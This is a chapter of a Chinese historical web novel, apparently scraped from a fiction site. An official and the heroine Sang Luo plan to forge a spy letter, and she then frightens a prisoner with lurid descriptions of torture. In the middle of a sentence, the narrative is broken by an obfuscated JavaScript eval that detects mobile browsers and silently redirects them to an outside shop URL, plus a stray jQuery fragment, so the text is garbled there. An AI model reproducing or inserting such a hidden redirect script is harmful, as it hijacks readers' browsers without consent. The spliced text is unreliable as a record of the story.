92.第九十二章
    司星南回来之时,众人将桑落围在中间,正说的起劲。

    司星南开始还没注意到桑落,只觉得精神格外的疲惫。

    他捏了捏眉心,看着手里呈递上来的资料,觉得格外的棘手。

    想不出办法来就有气,有气就想着找人撒气,这群不务正业的,刚说好了他们自己组织选拔,结果一群人在那里胡闹些什么?

    实在是太不像话了!

    “吵什么吵?时间紧迫,不说寸阴是竞,还在那里玩笑胡闹,是不把正事放在心上了吗?”

    众人相互看了看,没想明白司星南发火的点在哪里。

    “看什么看?觉得我说的不对吗?”

    “可是大人,我们已经挑选出合适的人选了。”一个人壮着胆子,小声嘟囔着辩解道。

    这下轮到司星南不淡定了。

    “只一个时辰便选好了?”司星南颇感意外,平时给他们交代点事情,那一磨蹭能磨蹭到天黑,怎么这回这么干净利落的选好了,该不会是支应差事,随随便便推了三个人出来吧?

    司星南自认为找到了真相,心里气得要命,平时这些家伙胡闹也就算了,这种性命攸关的大事上也敢跟自己耍心眼,必须借机会好好教训教训,不然以后还盛不下他们了。

    “既然如此,那便让我见识一下你们选拔出来的人选吧。”司星南拿起一旁的画像摊开,语气不解的说道:“这纸上画只猴子干什么呢?”

    刚刚调整好心态的那名白净官兵这下彻底哭出声了。

    “发生了何事?可是我说错了什么?”司星南皱着眉头,看着委屈的直抹眼泪的官兵好奇的问道,“程非,你哭什么呢?”

    “大人,我画的是细作的画像。”程非一脸不服气,委屈巴巴的说道。

    “胡言乱语,昨日细作抓回来的时候我亲自看了,根本就没有长得像猴子的。”

    程非气得跑开了,再在这里待下去,他非得一刀捅死自己的上司不可,到时候事情可就大了。

    程非一走,司星南还像丈二和尚一般摸不着头脑,不过他也懒得搭理,平时把这帮手下惯得没大没小,现在居然还敢跟他甩脸子,真是欠收拾。

    等一会正事忙完,必须好好跟他谈谈,能干就干,不能干走人,这是官府又不是你家后院,真当没王法了吗?

    “让你们选出来的人往前站,我倒是要瞧瞧,你们的眼光到底够不够格。”

    话音刚落,只见三名体型差距巨大的人穿过人群,走到了自己的面前。

    “桑姑娘?”司星南这才惊讶地发现混在三人中间,正笑盈盈望着自己的桑落,忙从座上站了起来,“你何时来的?怎么也不叫人通知我一声?”

    “我来的时候听说你在忙,就没让人去打扰你,没想到还意外见识到了司大人不为之人的一面,好大的威风啊。”

    司星南遣散了众人,听见桑落的挪揄,自己也觉得不好意思,“让桑姑娘见笑了,这群手下平时玩闹惯了,没事的时候倒也罢了,有事还敢胡闹,真是岂有此理。”

    桑落闻言摆了摆手,“不怪他们,我觉得这样挺好的,人要活得鲜活一些,才会对未来充满期待。”

    “桑姑娘来得正好,我正有要事想和你商量。”司星南像是一下子找到了主心骨,整个人肉眼可见的松弛了下来,“你看看这个,这是昨日吴岩拦截下来的讯息,上面说,要在十四日后与人约在恒阳一处汇合,只不过……”

    “不过什么?”

    “这半个月时间,任何意外都有可能发生,怕是会误了正事。”

    桑落明白了,所谓时间越长变故越大,吴岩那里虽然有自己的仿妆加持,可时间长了难免会被人看出不妥,更何况,云起这边远不如西曙准备充足,若是事情暴露,西曙强行开战,那么吃亏的只会是云起。

    虽说听这话里的意思,吴岩已经做好了身份暴露后英勇赴死的准备,可每一条人命都是鲜活的,视死如归是他们的精神,保护他们的安全则是义务和职责,不做无谓的牺牲,是司星南行事准则。

    在敬畏生命这一点,司星南和桑落的观念不谋而合。

    所以,在最短的时间内,将内鬼揪出,打他们一个措手不及,才是占据主动的关键。

    “这简单,你把那信笺誊抄一份,把时间缩短不就可以了吗?”

    “事情没有那么简单。”

    这一点司星南未必没有想到,只不过实际操作起来的时候,才发现困难重重,“那笔记的模仿倒还事小,已经找孙知府借了人去临摹学习笔迹去了,相信三日内必有所成,最难的是,那信笺的纸张乃西曙特有的一种,在我云起,也只有皇宫里面才存有一些贡品,这来回的路程,即便是快马加鞭,也不能少于七日,而且,这信笺上若是有其他辨别真伪的暗记我们未曾察觉,冒然替换掉必定遭人怀疑,这才是最叫我担心的。”

    原来如此。

    桑落也不禁皱起了眉头,这看似只是一桩小事,可一环一环下来,哪一环出了纰漏都能将计划置于死地,那么吴岩也必定难以脱身,白白丢掉性命。

    “那信笺,可以借给我看看吗?”

    “当然。”司星南毫不迟疑,伸手将手里拿了半天的纸张递给了桑落。

    桑落伸手接了过去,这是一张微微泛黄的纸页,触感粗糙,上面甚至还有一些肉眼可见的杂质。

    “就这?也能当做贡品?”桑落嫌弃的问了句,心道这西曙穷乡僻壤也是没见过什么好东西,居然连做工这么粗糙的纸张也能当做贡品,真是抠门到家了。

    “桑姑娘有所不知,这纸张虽看着粗糙工艺不精,可却有着不易损坏和防水防污的特点,适宜于传递重要信息和军情。”

    “哦!”桑落懂了,原来这就是早期的牛皮纸啊。

    牛皮纸的制造工艺过于繁杂,况且前世桑落对于造纸这方面是个盲区,连普通的造纸术都不了解,更别说牛皮纸这种更加高端的技术了。

    纸是造不出来,可也不是什么都做不了,桑落看着那纸上的字迹,脑中灵光一现,马上就有了主意。

    “司大人,这一次我要是帮了你,咱们之间的生意,可就要加码了……”

    桑落再一次出现在那赘婿面前的时候,那赘婿条件反射一般抽搐了两下,连带着后脑勺上刚刚结痂的旧伤隐隐作痛。

    “不是……你怎么又来了?”

    那赘婿的日子过得不咋滴,这么冷的天外衣扒给了吴岩不说,连顿热饭都不曾给他准备。

    “你们云起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104583|130400||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人,太过分了,耍阴招不说,还在背后偷袭人,简直就是卑鄙小人。”

    桑落一听冷笑道:“呵!说的跟你跟云起没关系似的,你母亲是云起人,夫人也是云起人,吃的是云起的米,喝的是云起的水,却做着出卖云起的事情,你有什么资格说别人卑鄙?”

    这话堵的那赘婿哑口无言,不能说,这事本来就是他没理,再如何狡辩也摘不干净,干脆就不说,省心省力。

    “没话说了?没话说就给我夹起尾巴做人,我问你什么你就答什么,老老实实的,把这差事交了,你好我也好。”

    “你是女捕快?”

    “那倒不是。”编制外的,最多算是个业余顾问。

    “既然不是,那何必狗拿耗子多管闲事?我的所作所为与你无关,我不想回答你的问题,你走吧。”

    说完,赘婿扭过头去,用以表示自己的决心。

    桑落一听都气笑了,“不说话?是想玩死猪不怕开水烫这一出是吧?但可惜了,你遇到的可是我,我别的本事没有,让你开口的招倒是不少,要不然咱们试试?”

    “你还有什么折磨人的法子,尽管使出来,我绝不会向你认输的,你这个偷袭别人的无耻之徒。”

    “哦!那我就放心了。”桑落负着手在那人面前踱了几步,装作无意的继续说道:“以前听说啊,有一种刑罚,叫做滴水穿石,不知你听过没有?没听过也没关系啊,我这么博学多知的人自是愿意为你答疑解惑的,所谓的滴水穿石呢,就是将你的头固定住,再在上面吊一个大水桶,里面虽然装满水,但却控制住水量每次都只流出来一滴水,一滴一滴的,慢慢流,开始的时候呢,你只会感到头顶有些酸麻,可时间久了,那水滴就像能穿透石头一般,滴穿你的头皮,再然后是头盖骨,你会在清醒的状态下,见证自己的死亡……”

    桑落刻意压低了自己的嗓音,将那清脆的声音压低到一种沙哑的嗓音,在这昏暗的牢房里面,营造出一种毛骨悚然的感觉。

    “你个毒妇,你好狠的心啊!你以为这样我就会怕你吗?你这法子确实狠毒,可却需要很长的时间,我们首领马上就要进攻云起了,只要我不死,我的达达会带人来救我,到时候,我就是西曙的世子,我会派人将你们全部抓起来,剥皮抽筋,桃木钉骨,让你们永世不得轮回。”那赘婿咬牙切齿的咒骂道。

    “这么狠呐?既然你要比狠,那我就跟你比比,我还听说过一种方法,叫做坐冰凳,你有没有兴趣了解一下?”

    开始的时候,那赘婿确实是个硬茬,听完桑落讲述的滴水刑愣是面不改色,一看就是受了专业训练的细作。

    也许不是受过训练,而是成为世子的动力支撑着他,让他肾上腺激素飙升,在短期内达到一种不惧生死的态度,可随着时间的流逝,激素水平趋于正常值范围,对于生死的本能惧怕也就显露出来了。

    尤其是桑落口中描述的刑罚一个赛一个的残忍,那赘婿死死的闭上眼睛克制自己内心的恐惧,恨不能把自己耳朵也揪下来就当没长过这玩意儿。

    等到威胁够了,桑落这才进入正题。

    “现在我说话,你愿意认真听了吗?”

    “我、我愿意,我愿意。”

    桑落终于满意的笑了……